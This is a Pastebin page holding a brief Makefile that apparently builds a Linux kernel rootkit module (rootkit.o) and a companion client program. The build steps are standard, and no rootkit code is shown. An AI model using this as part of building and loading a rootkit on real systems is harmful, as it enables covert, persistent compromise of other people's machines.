Advertisement
FlyFar

Makefile

Dec 24th, 2023
864
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Make 0.29 KB | Cybersecurity | 0 0
  1. .PHONY: all
  2. obj-m := rootkit.o
  3. KERNEL_DIR = /lib/modules/$(shell uname -r)/build
  4. PWD = $(shell pwd)
  5. all: rootkit client
  6. rootkit:
  7.     $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD)
  8. client:
  9.     gcc -o client client.c --std=gnu99 -Wall -Wextra -pedantic
  10. clean:
  11.     rm -rf *.o *.ko *.symvers *.mod.* *.order
Tags: makefile
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement